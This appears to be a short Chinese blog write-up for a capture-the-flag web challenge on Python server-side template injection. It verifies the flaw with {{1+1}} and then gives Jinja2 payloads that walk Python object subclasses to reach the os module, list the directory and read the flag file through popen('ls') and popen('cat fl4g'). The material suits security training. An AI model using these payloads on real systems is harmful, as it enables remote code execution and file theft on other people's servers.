攻防世界-web-Web_python_template_injection(python模板注入SSTI)

进入场景后,显示如下页面

猜测本题存在Python SSTI漏洞,验证一下,在url后面添加{{1+1}},回车显示如下

界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码。

关于Python模板注入漏洞,可参考:https://www.cnblogs.com/wjw-zm/p/12741055.html

 

所以本题思路就是先查看当前目录,发现存在一个fl4g文件,然后读取此文件,获得flag。

 

首先,构造Payload1,查看当前目录,发现存在一个fl4g文件。

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

或者
{{
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

 

然后,构造Payload2,读取此文件,获得flag。

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

或者

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

  

posted @ 2020-09-16 10:27  zhengna  阅读(870)  评论(0编辑  收藏  举报